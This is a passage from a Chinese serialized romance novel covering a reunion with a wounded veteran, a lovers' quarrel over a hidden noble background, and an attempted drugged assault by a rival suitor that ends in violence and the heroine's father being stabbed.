王阳有些尴尬,一直站着。
阿致摆手让他好生坐着等。
终于,泡好了一壶茶,一人一杯斟着,两人坐下来闲话。
阿致开心地道:“听说你成婚了,还有两个孩子?”
王阳喝了一盏热茶,暖和了些,笑着点头:“是啊,大的三岁了,小的十个月八天。”
王阳是个很温和的人,这是阿致对他的评价。阿致一直觉得,他会对自己的妻儿很好很上心,果然如此。
阿致又给他倒了一杯:“当年你说起与远房表妹的亲事,总是担心,现在得偿所愿,也是一桩美事。”
说完,阿致看着王阳,王阳却苦笑着,低头看自己面前的茶盏,不知道在想什么。
气氛有些尴尬。
阿致感觉到不对劲,忙问他怎么了。
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王阳抬起头看着她,微笑着道:“与我成婚的另有其人。”
阿致目瞪口呆:“我记得当年离开边塞时,你说还有一年便退伍回家成婚的……”
王阳尴尬地笑了笑:“原本表妹的家世比我要好,是我配不上她。因为表妹她心地善良,许多事不太计较,执意要与我定下婚约。但是现在,你看我这样子。”
说着,王阳干脆将自己的长衫撩开,露出下面空荡荡的裤管,左边的半条腿都被切了。
阿致沉默许久,道:“当时很疼吧。”
王阳低头看着自己那空荡荡的裤管,舔了舔嘴唇,强忍住眼中的酸意,笑着说:“当然,疼得要死要活的。好歹老天对我仁慈,让我挺过来了,不然也不能过上如今这么好的日子。”
阿致鼻头酸了,问她:“表姑娘是嫌弃你吗?”
因为嫌弃你,所以与你解除了婚约。一想到当时死里逃生的王阳退伍回到老家,又被心爱的表妹嫌弃,阿致难过得眼泪要流下来。
王阳轻轻摇头,抬起长衫,将那个空荡荡的裤管盖住:“不管她。我这样缺胳膊少腿的,肯定会吓到别人。我这点自知之明还是有的,遗忘我配不上她,少了条腿就更加配不上了。”
阿致咬着嘴唇,直接道:“可是当初你是为了表姑娘父母的同意,才会弃笔从戎,去边塞挣功名,结果——”
“雪致……”王阳打断她,笑着说,“我知道你心疼我,所以偏向我。但公道点来看,虽然当初是为了跟表妹顺利成婚才去边塞,但说到底也是为了我自己,为了我自己的心意。相信这一点你也是知道的。只能说天不遂人愿,功名是挣到了,却少了其他的。”
王阳笑看着自己的腿,脸上蒙着酸涩。
阿致拿手蒙着自己的半边脸,掩盖难过:“我当然知道是这个理,但是——”
王阳深吸一口气,露出爽朗笑容,大力拍着自己残缺那条腿:“你看我现在过得不是挺好的吗?不用为我担心。每个人都有自己的路,虽然这条路可能和一开始想象的不一样。不然,我也不能遇到惠娘。”
惠娘是王阳现在的妻子。
王阳给阿致讲了他们相遇的事。在王阳与表妹取消婚约之后,表妹的父母给她说了一门亲事,让她嫁了。这之后王阳颓丧了一段时间,整日在家坐着不干活,但给他说媒的人不少。因为他身上有些功名,一年上头可领些粮食,再则退伍之前他还领了不少抚恤金。他长得也不错,性子也还不错,唯一的缺点就是少了条腿。
相亲的过程中,王阳相中了一个屠户家的女儿,也就是惠娘。
惠娘从小就帮着自己的父母守摊子卖猪肉,虽然没读过什么书,不懂琴棋书画,但她为人理智、思路清晰、做事雷厉风行。原本在惠娘十六岁的时候,也有挺多人给她说媒,甚至都已经定下了一桩婚事,没想到快成婚的档口,她父亲去世了。因此,惠娘为了给父亲守孝,推迟婚约三年。三年之期快到时,正准备成婚,她母亲又在上山采野菜的时候出意外去世了,只留下她和一个十三岁的幼弟。三年又三年,还带着个不听话的拖油瓶,未婚夫不想再等,于是取消了婚约。自此,有些不好听的话头就扬起来了,说惠娘天生石女,克夫。上门求娶的都不是什么正经人,不是鳏夫便是老光棍。惠娘自己也看不上,因此一直耽搁到二十三岁还没嫁人,成了老姑娘。
惠娘与王阳对过几次面,两人都有意。但真正决定成婚的是因为惠娘找他谈了一回。
那一天,惠娘还穿着带血的围裙,洗了个手,一个人找到王阳家里来,直接问他是否还喜欢表妹。
52. 第 52 章(第2段回忆)
惠娘与王阳相看了四回,媒婆便喜滋滋对人说她终于要出嫁了,要嫁个好人家。前未婚夫听说了此事,来到猪肉铺前,将王阳过去的事告知了她。
惠娘自己也不傻,她直接洗手关了肉铺,去找几个婶娘帮忙打听,确认了一件事——
当年王阳与那位有钱的表姑娘是极情真意切的,要不是王阳断腿,两人怕是早成婚了。
惠娘坐在街上吃了两大碗面,又坐着想了会,就直接去找王阳。
那时候已经是傍晚了,王阳正在自家老宅院子里,坐在一个矮凳上,对着院子里的萋萋野草,手上拿着一只锄头,一点一点将身子方圆斩草除根。毕竟他要成婚了,不能让新娘子住到这样的院子里来。
惠娘脸色泠冽,开口就问他,是不是还喜欢表妹。
王阳拄着拐杖一点点站起来,点头:“现在还是喜欢的。”
他很清楚,吐出这个答案,惠娘会转身就走;但是王阳不想骗她。
惠娘看着他。
王阳嗫嚅着张开嘴:“但是,你是——”
惠娘当时眼神冷下去,抿着嘴唇,挥手让他停下来:“不用再说了,反正我也没指望这种事。我问你,如果以后成婚育儿,你表妹回头来找你,你是否会抛妻弃子?”
王阳抬起左手发誓:“绝对不会。”
惠娘盯着他的手掌看了一会,突然自嘲地笑了:“我是在做什么,净说些没用的话。我再问你,往后若是你我和离,无子女的话,财物各一半;有子女的话,子女财物均归我,你同意吗?”
王阳想说他真的不会,一旦真的定下来成家,绝对不会做对不起她的事,她担心的事也不会发生,但是他很清楚,现在他说什么,惠娘都不会相信。
王阳笑着点头:“听你的。”
“好,那咱们摊开来谈。”惠娘把腰间带血的围裙取下来,放在一旁。
于是,两个人对坐在屋檐下,中间隔着一个矮桌,矮桌上放着纸墨笔砚。
惠娘问王阳,在弟弟成年之前是否能给予帮助,王阳没觉得有什么问题。父母去世之后,姐姐拉扯一把幼弟,哥哥拉扯幼妹,这本是天经地义的。在惠娘的坚持下,他们还订好了每月给弟弟的抚养定额、梳理意外情况的应对方案,并一一记录下来。
王阳也说了自己心中的担忧,他希望惠娘明白自己瘸腿对未来生活可能的坏处,毕竟他没法做苦力赚钱。惠娘只问了他一句,他中间的能不能使。王阳在明白她意思后,脸涨得通红,没说话,只点了下头。他第一次见到如此直白的女子。
惠娘倒是没事人一样,就像是谈好了生意的人,收拾好桌上记下来的一纸条例,折好放在腰间的口袋里。
王阳看到她这样做,看着外头的夕阳,笑了笑:“咱们这更像是在做交易,而不是在谈婚论嫁。”
惠娘侧身,望着屋檐外的彩霞,嘴角微笑:“这样不是更好,有什么事都可以直说,不必顾虑重重。”
如果人与人之间感情过深,许多事情反而不好说。像他们这样没有感情,反而可以直接将利益摊在桌上说。
惠娘起身离开时,对王阳说:“你找人定好日子,告知我好准备。”
就这样,他们订好了婚期。目送着她离开后,王阳看着打理得差不多的院子,宽阔了许多。
其实,他被惠娘打断的时候,是想说:惠娘是他第一次遇到想共度一生的人。
这种踏实和信心,是惠娘给他的。
也罢了,惠娘不相信的,他会证明给她看。
王阳看人很准。
成婚时那么多琐碎的事,他们都是有商有量的,没有吵过一次架,有什么困难,同心协力去做,做得成也罢,做不成也罢,从不互相怨怼。
成婚这四五年来,两人成了最好的搭档。王阳为了做生意,常在长安城附近奔波,着家的机会少,好在还能挣些钱;至于家里,惠娘打点好所有的事,趁着生产之前,教弟弟学会了做账、杀猪、卖猪肉,生完孩子之后,她便在家照顾孩子,把屋里屋外安排的妥妥当当。他们一个人主内一个人主外,配合无间。
要说两人之间的感情有多亲密,老实说那倒也没有,惠娘似乎有意一直维持这样不近不远的距离。
听王阳说完,阿致感叹道:“你是真遇到了可共度一生的良人。”
王阳连连点头,轻轻拍着完好的那条腿:“能得妻如此,此生夫复何求?”
也算是大难不死必有后福了。从今往后,王阳只希望和妻儿平安生活在长安。
说到这里,王阳道:“别光说我了,这些年你怎样了?”
“我?”阿致看着外头,眼神有些茫然。
外头天已经全黑了。
王阳道:“我还记得五年前,你和陆侯爷决定回长安成亲,可是后来只看到他一个人回来边塞,满脸落寞的。我曾去问过他,你去了哪里,他没告诉我,只说打完这场仗你们就会成婚。所以去年底我听说他要成婚了,便以为是你们俩成婚,打算去恭贺。没想到与他成婚的竟然是别人……我还以为是他变心了,怒斥他一顿。
“说实话,出口我就后悔了,怕他官架子大,往后要报复我。不过,幸好我去找了他,他才知道是对方冒充你,不然他都不知道自己被人偏了,往后恢复记忆或许会终身悔恨。”
如果成婚那一日,陆昀峥不知道自己被骗。日子就这么过下去,那么,即使陆昀峥和阿致在某年某月某日的某个角落重逢,那又怎样呢?一切都无法挽回,无法回头了。不会像现在这样,团聚在保宁城的一个院子里。
天黑了,前厅里却没有点灯。
邬春荣将饭菜端上前来,点了灯,又去叫希君和楚楚过来一道用饭。
王阳指着希君,满脸震惊:“这是……?”
“嗯,陆昀峥的,五岁了,叫叔叔。”
“叔叔!”希君依偎在阿妈怀里,打量着对面这个陌生叔叔,他拿着一根棍子,还有他的一条裤管是空的。
“确实很像她爹。”王阳看着小姑娘的眉眼,真的是像极了。
·
五年之前,宜阳城的深夜之中,阿致一个人在凉亭中对着月亮流泪。终于,等来了陆昀峥两
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人抱在一起。
阿致下了决心,她再也不要和他分离,于是跟他说:“阿峥,我们成亲吧。”
陆昀峥欣喜若狂,当即将她抱离地面:“好。”
阿致的胳膊挂在他肩上,与他额头抵着额头,鼻尖抵着鼻尖。
顶着入秋的冷风,陆昀峥送她回去。一路上,阿致紧紧捏着他的手。
一路上没什么人,道路两侧漆黑,但阿致一点不害怕。他的手很大很温暖,失而复得更是让她心情激动。
以至于她才想起一件重要的事:“你什么时候去提亲?”
陆昀峥看着她的脸色:“一个月之后,怎么样?”
“为什么要一个月之后?”
“这几日我要回京述职一趟。”陆昀峥看着她,“也想和家人当面商量我们俩的事。”
阿致依旧闷闷不乐,她抬头看他的眼睛:“我阿爹逼着我下个月初一嫁给严吒。”
陆昀峥停下步子,手指摩挲着她的指尖,下定决心一般:“我明日好生准备,后日去提亲。”
阿致高兴得双手挂在他脖颈上,咬了一口他的下巴,他也双手掐着她的腰,轻轻咬她的鼻尖,十分亲昵。
正好这个时候,阿致感觉背后汗毛都立起来了,她回头一看,是严吒,他站在不远处,手里提着个空酒瓶,看样子刚和她爹沈金喝完酒。
严吒低垂眼皮,什么也没说,从两人身边匆匆过去。
严吒看着阿致时,那眼神过于阴寒,她总担心有不好的事情发生。阿致看着他远去的背影,从陆昀峥身上下来。
陆昀峥将她一路送回家:“不用担心,我明日早上得空我便来找你。”
·
这一晚上阿致整个人都是轻快的,回家见到醉鬼老父亲的冷脸,她也不那么在意了。
沈金抹了一把脸上的酒气,怒斥她:“一个女子在外游荡,若有些闪失改如何是好?亏得严吒那孩子担心你,一直等到方才。”
阿致没有和他辩,只说:“他怎么样与我无关。反正,我要嫁的是别人。”
“你要嫁哪个?”
“陆昀峥。”阿致挽起袖子,收拾沈金床边的碗筷。
“那都是他骗你的,你竟然还信他的谎话,整日做白日梦。”沈金语重心长道,“方才严吒与我说,陆昀峥家世显赫,祖上都是功勋的侯爷,你入不了他家的门。”
阿致收捡碗筷的手一顿,她想起了那块黄玉和昂贵的信封,但是……
她抿了抿嘴唇,没有再出声。
第二日天一亮,阿致起床去军营里找陆昀峥。
王阳说陆昀峥去演武台了,阿致和他闲话一会,便进去陆昀峥的房间里给他收拾。
路过他的书案,一阵秋风吹过来,正好将他桌上一张纸吹落下来,又正好落在她脚边。
仿佛命运一般,阿致将手腕上带血的脏衣服放到一旁椅子上,弯腰将那张纸捡起来。
这是一封家书,阿致看完一遍,又仔细看完一遍,如鲠在喉。
“阿致。”陆昀峥从外面进来,正看到捏着信纸的阿致。
53. 第 53 章
阿致捏着信纸,指腹上渗出细密的热汗来。
陆昀峥刚进门来,看到她出神地拿着信,于是喊她一声。
阿致回过头来,看着他:“你骗我?”
陆昀峥愣住,他看到她手中的信,伸手去拿。
阿致没有拦,就让他拿走了。
陆昀峥粗略看了信,急忙解释:“家里要给我定亲事,之前我也不知道,我刚有事出门,没来得及看。”
阿致平静地看着他:“好,就算这点你没说谎。那你的家世呢?”
陆昀峥哑掉。
“你曾说你不过普通人家,什么普通人家会用这样的纸做家书?什么普通人家能对礼部尚书的女儿挑挑拣拣?”阿致说完,双眼紧盯着他。
陆昀峥口干舌燥,捏紧手中的信:“阿致,你听我说,我会立刻回绝,把我的想法清楚告知父母。”
“你还不打算和我说实话?”阿致垂下了眼睛,她转身打算离开。
陆昀峥伸手将她揽住。
阿致挣扎,将他推开。
陆昀峥不肯,将她抱在怀里,下巴死死锁住她的头:“对,我父亲是侯爷,但那压根和我没有关系。我不说,是因为我担心你会拒绝我。”
“所以你承认对我编故事?”阿致喘着粗气,恶狠狠看他,“看我被骗,你是不是觉得特别好玩?”
“没有。除了家里的事,其他都是真的,我从小便被父母扔到乡下长大的,根本没人在乎我的死活,十四岁才回到长安。”陆昀峥低头,“阿致,你信我。”
阿致垂眼看着地上那一纸信,被踩皱了,她有气无力地道:“我也不知道该不该信你。”
陆昀峥双手握住她的肩膀,低头看她的眼睛:“你信我,我父母亲口说过,只要我能做到副将,婚事便可自己做主。我现在写封信回去……不,过几日你与我一道启程回去长安,见见我父母你就知道我说的都是真话。”
阿致依旧不为所动,她那么信任陆昀峥,没想到一开始就被他骗了。他还有多少秘密,是她不知道的呢?
陆昀峥伸手将她脸侧的碎发拨到一旁,笑着安慰她道:“你不用担心,我现在就去买聘礼,下午登门提亲——”
“不用了,不必浪费钱。”阿致抬头看他,“我们家世有别,不可能在一起。”
说完,阿致便离开了。
陆昀峥要去追,偏偏手下有要事来报,他脱不开身,只能任她离开。
·
阿致从军营里出来,照例去往面馆里打工,准备中午的生意。
老板娘瞟了一眼她红肿的眼睛:“你怎么了?”
阿致摇头,坐到后头的灶台边洗碗。
老板娘三十多的年纪,丈夫早去世了,她一个人带儿子生活许多年。看阿致这模样,便猜到是和心上人有关。
不过,早前听说阿致的未婚夫是个副将,或许凶多吉少,难道是确认死亡?
老板娘吓得一哆嗦,不敢再多嘴,让阿致多休息,阿致不愿意,一直闲不住,洗完碗,她就去和面揉面。
直到傍晚时候,生意又要忙起来了。
陆昀峥走过来,和老板娘说,要借阿致一会儿时间。
老板娘见他好好生生站着,高兴得不得了,连忙去叫人。
阿致却不肯:“我和他没什么话说。”
“他是你心上人吧?”老板娘喜滋滋看戏的模样。
阿致摇头:“我哪敢把他放在心上,叶姐,你让他走吧。”
叶姐没办法,只能劝陆昀峥回去,等阿致气消了再来。
陆昀峥不肯,他坐在这里吃了两碗面,阿致也不肯妥协出去见他。
晚上,阿致下工之前,叶姐拉住她:“今日姐就多嘴两句,我瞧着这小郎君面容端正、行为稳重,不是那等轻浮之辈。你们小两口若是没有什么大问题,便不要总是吵吵闹闹的。和美过日子不好么?”
阿致放下手里的抹布:“叶姐,你不懂的。”
“我怎么不懂呢?”叶姐苦笑道,“你们这些年轻人,两情相悦也不知道珍惜,这是多大的福分和缘分,今生才能走到一起。还有那许多人压根儿没缘分的,不能走到一起的,抑或是单相思一辈子求而不得的……嗯,你们这……我都不知道该说是恼你们,还是羡慕你们。”
“他骗我。”
“他怎么骗你?”
“他家世不一般,与我根本没可能在一起,却骗我只是寻常人家出身。”阿致想起来就是气,一开始知道真相,她就不会选他,选王阳了。
“那他有拿出实际行动去争取吗?”
阿致舔着嘴唇,细细想了下:“算是有一点吧,但是争取有用吗?应该没用吧……哎呀,叶姐,问题在于他骗我。”
“你这丫头,说得如此信誓旦旦。好不容易遇到个良人,你真打算放他走?放他走了,你往后嫁给谁?”
不知怎的,阿致想到了严吒满口的黄牙。她垂着眼,拿起抹布使劲擦桌子,赌气道:“那当然,就算全天下好男人都死绝了,大不了我这辈子不嫁人。”
叶姐看她这样决绝,长叹一句:“我就最后说一次,听不听在你。两个人在一起过日子,总有不同,总会有这样那样的矛盾。只要不是大问题,都应该学着同心协力去解决。不能每一次遇到矛盾就上纲上线要分开。发生矛盾不能说明你们不合适,只能说明你们现在还不会解决问题。如果你们学不会解决眼前的问题,那你们往后走下去也很难。因为日子过得长久了,总会有矛盾。”
叶姐说完,她便去后头督促儿子背书。
阿致一个人使劲擦桌子,把桌子擦得快秃噜皮了,她终于停下来,看着手中的抹布。
·
渐渐的风大了,阿致伸手裹紧衣领,走在大路上,拐过一个巷子。
她侧耳听着身后的动静,似乎有人跟着她。
她害怕了,急忙跑到前面的酒馆门口,酒馆里灯火通明,阿致这才敢回头看。
一回头,原来是陆昀峥。
两人隔着两丈远,四目相对。
陆昀峥先抬脚,走过来。
阿致抿着嘴唇,等他走到近前,伸手给他肩膀上一拳:“吓死我了,下次不许这样。”
陆昀峥连忙道歉:“我担心你夜路不安全,也怕你不想见我。”
“那也不许吓我!”
“知道了,知道了。”陆昀峥伸手,试探着将她抱在怀里。
阿致没有挣扎。
陆昀峥便紧紧将她抱着:“对不起,我不该说谎。我以后再也不会说谎了。”
“真的?”阿致抬头看他。
“真的。”陆昀峥低头,亲她翘起的嘴角,“我今日下午将聘礼置办好了。”
“那就再信你最后一次。”阿致冷哼一声,“你我父母都不同意,你说说看,要怎么把我娶回家?”
“咱们先把该做的都做了。”
“比如?”
陆昀峥道:“比如,明日早上我去提亲,至少先让你父亲知道;然后过几日回到
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家,知会父母,便能说服你爹,尽早完婚。。”
阿致嘴角挂着一丝笑,她伸手抱紧陆昀峥:“听着有几分诚意。不过我阿爹若是知道你的身份,肯定不会同意,怎么办?”
一想到下个月初一会被逼嫁给严吒,阿致就头疼,必须要想办法说服阿爹才行。
·
第二日一早,陆昀峥提着早已准备好的聘礼去沈家。沈金腿好得差不多了,拄着拐杖在堂屋里走动,给妻子上一炷香。
果然,沈金听完陆昀峥的来意,他一口拒绝了:“我女儿已经许配了人家。”
阿致站在一旁,拉住陆昀峥的手:“阿爹,我认定他,只想嫁给他。”
“沈叔,我以后一定会照顾好阿致。”陆昀峥一脸诚恳。
沈金根本不吃这一套:“说得好听,你父母能让这个傻丫头进门?”
“阿爹你说什么呢?”
“我说什么?你不要以为我不知道,陆昀峥他爹是侯爷,大街上的狗都知道。你还妄想嫁给他!”沈金骂完女儿,又去转头去骂陆昀峥,“你嘴上说娶我女儿,不过是用身份吊着我女儿玩玩而已,以为我不知道么?”
阿致道:“阿爹,我知道他的身份。”
“你既然已经知道,一开始不说,是打算隐瞒过去?”沈金十分生气。
阿致要和父亲吵起来,陆昀峥拦住她,对沈金作揖:“沈叔,我的婚事自己可以做主,你信我,这次回去,上告父母,待得父母同意,我便立刻迎取阿致过门。”
沈金冷哼一声,不再多说,挥起拐杖就赶人,将陆昀峥往门外赶:“我才不会让你骗我的女儿。”
这根本没法好好说话,阿致拦在陆昀峥前面,被拐杖尖打到了腿,她痛呼一声,脸都涨红了。
陆昀峥心疼得没办法,扶着她出去。
阿致直起身,对沈金道:“不管你同不同意,我都要和阿峥成婚,过几日便会和他一起回京述职,若是他爹妈都同意了,你不许再阻挠。”
“好哦,我等着你的好消息。”说着,沈金将陆昀峥带来的聘礼盒子全都掀到门外去。
阿致和陆昀峥离开不多会,正好隔壁二婶过来。
二婶望着两个小年轻离开,手中拿着几个粉面团子,塞给沈金:“这不是挺好的一桩事么?”
沈金坐在堂屋的桌边生闷气。
二婶去到门口将聘礼收拾起来,要拿到屋里去。
沈金发好大脾气:“你别动。”
“这就是你的不周全了,别人带来的东西,你若是不要,更要小心照料好。不然到时候让你还回去也不好说了。”
沈金沉默。
二婶将那些大红绸布包着的盒子收拾起来,放在正中的桌子上,随后去地里拔萝卜,碰上三个好事的在路边聊天,她们听说了阿致的事,到处在打听。
其中有一个说怎么可能呢?那陆侯爷家肯定不会答应吧,身份天差地别。
二婶听着非常不爽,于是叉腰说了一句:“那是你们酸。人陆将军刚去沈家提亲了,拿着好些聘礼,贵着呢。”
刚说完,那三个好事的便眼对眼地离开了,一转身看到严吒,一个个惊得撇嘴,四散开去。
严吒满脸阴沉,往沈家快步走去。
·
晚上,阿致下工,从面馆回家。今日黑得很早,因为风大,行人更少了。
走到家附近的巷子时,她总感觉有人跟着。
难道是陆昀峥想吓她?明明说过了,让他别这样的。
54. 第 54 章
阿致一个人走在路上,总感觉毛骨悚然,那尾随的脚步声越来越近。
她引颈查看四周,根本没有什么亮灯的人家,万一发生什么,那就叫天天不应了。
可惜她今日出门,两手空空,什么也没有。
好在她看到别人家放在门口的竹篾扫帚,弯腰拿起来就是一挥。
身后那人伸出一只手来掰她的脖子,正好被竹篾扫帚拍开。
阿致睁大眼睛,气喘吁吁:“严吒?”
她突然想到了什么,如临大敌,立刻转身往巷子尽头飞跑,穿过这个巷子,便是一条大路,或许能碰上人。
严吒眼露凶光,嘴唇努着翻开,月光将阴影涂在他身上十分可怖。他一路狂追。
就快要到巷子尽头了,有依稀的脚步声靠近。有人。
阿致紧盯着巷子口,腿下用力跑着,突然一个踉跄。她踢翻了一块突起的石头,脚尖很疼,她仍旧努力往前爬。
严吒一伸手将她的发髻抓起,就像是拎起一只狗的后脖颈。
阿致正要大声呼救,被严吒一块帕子捂着嘴,她叫不出口。更重要的是,她闻到一股奇怪的香味。
这是迷香,她咬紧嘴唇,屏住呼吸,用力扒严吒的手,腿脚用力踢他。
严吒有备而来,避开阿致的攻击,死死捂着她的嘴,嘴角带着得意的笑容。
阿致憋得满脸通红,挣扎中也吸了一口迷香,浑身无力。干脆,她假装翻白眼晕过去。
严吒一看她晕过去,扯开帕子,蹲在一旁,张嘴去亲她的脸颊,感觉不过瘾,伸手扯开她外头的袄子,露出里头的白底兰花的肚兜来。严吒伸手摸她胸口那两团,嘴角翘起来。
阿致还是没什么力气,后槽牙都要咬碎了,努力保持最后的理智。
严吒抽出爪子,正准备扯下她的肚兜,巷子尽头的脚步声越来越近。
晦气。
严吒连忙拉着她两只胳膊,将她往巷子里的阴影拖去,就像拖着一条巨大的死鱼。
阿致听到那脚步声从巷子口经过,又渐渐远离巷子口,越来越远。
她心跳如雷。不能指望别人了,她只有自己。
她深吸一口气,脑子清醒了点,翻身一个跟头,反过来扯着严吒的一只胳膊和另一只手的小指。这是陆昀峥教她的。
“咔嚓。”阿致把严吒的小指掰断,气喘吁吁,头上都是冷汗。因为没什么力气,她死死缠在严吒身上才能使力,一点不敢放松。
这一次,不是他死,就是她死。
严吒痛得弯腰直呼,喊得四周灯火燃了几盏。
男子力气毕竟比女子大,严吒一伸手将阿致撞到巷子边的石墙上。阿致头晕眼花。
好在这时候,离开的脚步声终于折回来。
是陆昀峥,他抽出刀来,一个旋身,将严吒的胳膊刺伤。
严吒立刻逃了。
陆昀峥追了两步,回来扶着阿致坐起来。
阿致看着他慢慢放大的脸,伸手轻轻挨上去,是热的。
真好,她坚持到得救了。
“阿致,阿致——”陆昀峥大声喊她。
阿致的头太沉,昏睡过去。
·
阿致睁开眼睛,阳光刺眼,她伸手挡住眼睛。
她撑着身体慢慢坐起来,环顾四周。是她的房间。
昨晚,严吒意图不轨的事,仿佛一场梦。
“嘶——”阿致感觉到后脑勺的疼痛,她抬起手来想要摸摸看,正好看到胳膊上一条细长的口子,伤口不深,结了血痂。
阿致皱眉,这不是梦,她立刻低头看自己领口的衣裳,还是昨天的衣裳,衣领扣得严实。
她只记得后来陆昀峥来了,后来呢?
她赶忙从床上起来,穿上一件厚衣裳,刚一开门,就发现陆昀峥坐在一墙之隔的客厅,背靠着墙,身上盖了一件沈金的厚袄子。
他守了她一整夜。
“起来了?”沈金一瘸一拐地走进来,他终于不需要拐杖了,“烧了热水,去洗漱。”
阿致赶忙摇醒陆昀峥:“我有事要问你。”
陆昀峥睁开眼睛,伸手去捏她的肩膀:“你怎样—”
阿致赶忙撇开。
陆昀峥愕然,收回手。
阿致问他:“昨晚你追上严吒了吗?”
“追严吒做什么?”沈金疑问。
陆昀峥平静地看着她的眼睛:“没有,我不能把你一个人扔在那里。”
阿致咬着嘴唇,忍着泪意:“那你找到帕子了吗?”
“什么帕子?”
阿致咬着牙,捏紧拳头,恨恨地道:“那个畜生他在帕子上用了迷香,要迷·奸·我。没有那张帕子,我们便没有证物,不能报官。”
沈金愣住,一瘸一拐走过来:“你说什么胡话?”
阿致还是没理他,直直看着陆昀峥。
“当时他跑了,地上什么也没有,之后我把你送回来。”陆昀峥道。
阿致额头的青筋直条,她抿着嘴唇沉默了一会,突然转身往外走。
陆昀峥伸手去拉她的胳膊。
阿致像是受了惊吓一般,抽回自己胳膊,看着他停在半空的手,剧烈地抖动着:“我要报官。”
沈金道:“先把事情说清楚,不要动不动就报官。”
“你的女儿差点被人侮辱了,为什么不能报官?”阿致大声怒吼。
沈金皱着眉头:“啧,我不是这个意思。你是不是误会了?”
“你到底是我爹,还是严吒那个狗杂·种的爹?”阿致气得目瞪口呆。
沈金嘴唇嗫嚅好几下,一句话说不出来。
阿致转身又要出去,这一次陆昀峥伸手拦住她。
阿致怒目看着他:“怎么,你也觉得是误会?”
陆昀峥直视她眼里的怒意:“我知道你现在很生气,但是你必须要清楚,当时的事没有第三个证人,没有证物,我说的证词也不会被采信。”
阿致梗着脖子,眼泪流下来,她知道陆昀峥说的是对的,但是……她咬紧牙关:“总有哪天我要那个畜生去死。”
陆昀峥试探着伸手,轻轻将她拥紧怀里。
阿致总算是冷静了些。
沈金也道:“不管事实如何,没有证据,你去状告别人,最终也只落得自己名声不好,还要被人议论。之前一个女子就是被人侮辱后,受不了别人三言两语,上吊自杀了——”
阿致气得浑身发抖:“所以我也应该上吊自杀?”
“你为什么总是误解我的意思?”沈金也生气起来,唉声叹气坐在一旁生闷气。
阿致捏紧拳头,她一把推开陆昀峥的胳膊,走到后面厨房,操起一把菜刀,怒气冲冲往严吒家去。
她要那个畜生去死!
·
一路上陆昀峥想拦,但是他知道她在气头上,根本拦不住。
去到严吒家里,压根没有人。
阿致气得拿菜刀在他家门窗上砍了好一会泄气,不少人过来围观。
陆昀峥将她带到一旁休息。
阿致坐在马路牙子边上,满脸怒气,手里提着刀。
带着小孩的都面面相觑,不敢久留,绕路而行。
陆昀峥则陪她坐了好一会儿。这个时候不能说话,要等她自己冷静下来想通。
终于,阿致开口:“我想洗澡。”
阿致的脑子里总是闪过一些碎片,在安静下来的时候。碎片里,严吒伸出手去她胸口,一遍遍闪回。那时候的感觉就像是一只脏兮兮的耗子在她皮肤上一遍遍舔过,湿冷、肮脏、令人厌恶。
她握紧手中的菜刀,手腕在抖。
继续在这里,她会发疯。
陆昀峥带着她去到客栈要了一间房。
阿致冲了好几次,换了好几桶水,最后泡在浴桶里,闭着眼睛。
陆昀峥等在外面一会,又出去给她买了干净衣裳送进去。
阿致换上一身清爽的长裙出来,头发绞干,随手绑个宽松的辫子,道:“过两日我同你一道回长安。”
陆昀峥转身看着她,垂下眼眸:“沈叔不会同意。”
“管他什么想法,我不会再回宜城。”阿致坐下来,双手交握,“反正继续留在这里,也不能真的杀了那个畜生。”
她不能真的因为严吒那个畜生,毁了自己的一生。理智回笼了,但仍旧是痛苦的,
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那种被强迫、无法反抗的感觉。
阿致捏紧两手到轻微颤抖,竭力摒除脑海中的那些碎片。
·
晚上,陆昀峥送阿致回到家。
阿致让他回去。他昨晚上受冻,必然没有睡好。再则,军营里总有事情,不能总让他守着。方才在路上,有个小兵一路小跑寻过来,有事让他去军营,他说不是急事,便没去。
现在,他仍旧不肯:“我也只能为你做这点事。”
阿致垂下眼,不再多说什么,她踏进屋里去,她爹沈金慌忙坐在堂屋的桌边,桌上燃着一盏灯,其上的烛火被沈金急促的呼吸摧拉得极动荡。
他在掩饰什么。
阿致走进去,打量家里四周,感受着空气里微不可察的紧绷,她咬着牙:“那个畜生来过了。”
沈金不看她:“你……你别想太多?”
阿致突然转身,往沈金的房里走去,他房门押着,露出一条黑漆漆的缝,阿致一把推开,“砰——”。
微弱的烛火照亮阴影里躲在墙角的严吒,他挂着尴尬的笑。
阿致怒气爆涌,可惜她扔了菜刀,她撸了袖子,要冲过去打他。
沈金立刻起身,拿起一旁的拐杖拦在房门口:“他来这一趟就是想要赔礼道歉,当时只是鬼迷了心窍,没打算做坏事——”
阿致瞪着眼睛:“你还要维护他?”
“他就是诚心认错。”沈金停顿了一会,“你便放过他吧。”
阿致气得一句话说不出来,难以置信地问:“你知道他干了什么禽兽不如的事,还让我放过他。你对得起我喊你一声爹?”
沈金坚持用拐杖将门拦住:“你听我说——”
阿致伸手捏住拐杖,往旁边推。
陆昀峥伸手拉住阿致。
阿致回头,怒视着他。
陆昀峥道:“留一口气。”
说完,他一把拉开了拐杖,给她留出一条路来。
严吒怒道:“你们狼狈为奸!”
阿致拿起家中一切可以用的东西,将他打得浑身没有一处好的,摸过她的右手手指也打断了三根。
严吒嗷嗷叫着,根本不敢还手,因为陆昀峥在一旁看着,甚至拿了一块抹布塞他嘴里。
严吒喊金叔救命。
沈金推开陆昀峥,拦在阿致面前:“你这样冲动,他一身伤,闹到官府面前,有理也说不清——”
严吒突然从地上爬起,袖口抽出一把短刀来,抵在沈金的脖颈处。
严吒吐出一口血来:“我已经认错了,是你们把我逼到这般地步!放我走,不然我就要了这死鬼的性命!”
阿致惊恐:“你把刀放下。”
沈金伸手,让阿致不要过来:“他只是想离开,你们不要跟过来。”
·
正午时分,今日阴沉沉的,头顶是密密的云。
“虽然没有伤到要害,但失血太久。就算用人参吊着,令尊恐怕也撑不了几日。”大夫吹着白胡子,摇摇头。
阿致浑身冰冷,看着躺在床上的沈金一脸苍白,变故接二连三。她虽然和阿爹吵架,但是她也没有想到会变成这样。
昨晚上,严吒挟持了沈金离开,阿致报官抓人,一直没有抓到。直到今早上,在附近一个山头,被采药的人发现才得救。得救的时候,沈金的左腹部被捅了一刀,严吒则不知所踪。
陆昀峥轻轻拍她的肩膀:“做错事的人是严吒,官府的人已经去抓他了,你不要自责。”
随后他跟着大夫出去,请他用最好的药,尽力帮忙救治。
大夫背着药箱,仍旧坚持:“准备后事吧。”
房间里,沈金醒来,从床上挣扎着坐起来:“你哭什么?我还没死。”
阿致问他:“你想吃什么?”
沈金叹了一口气,从床头里边的烂木柜子里掏出一个蓝布包来,打开是大大小小的银票:“这是我这些年的积蓄。”
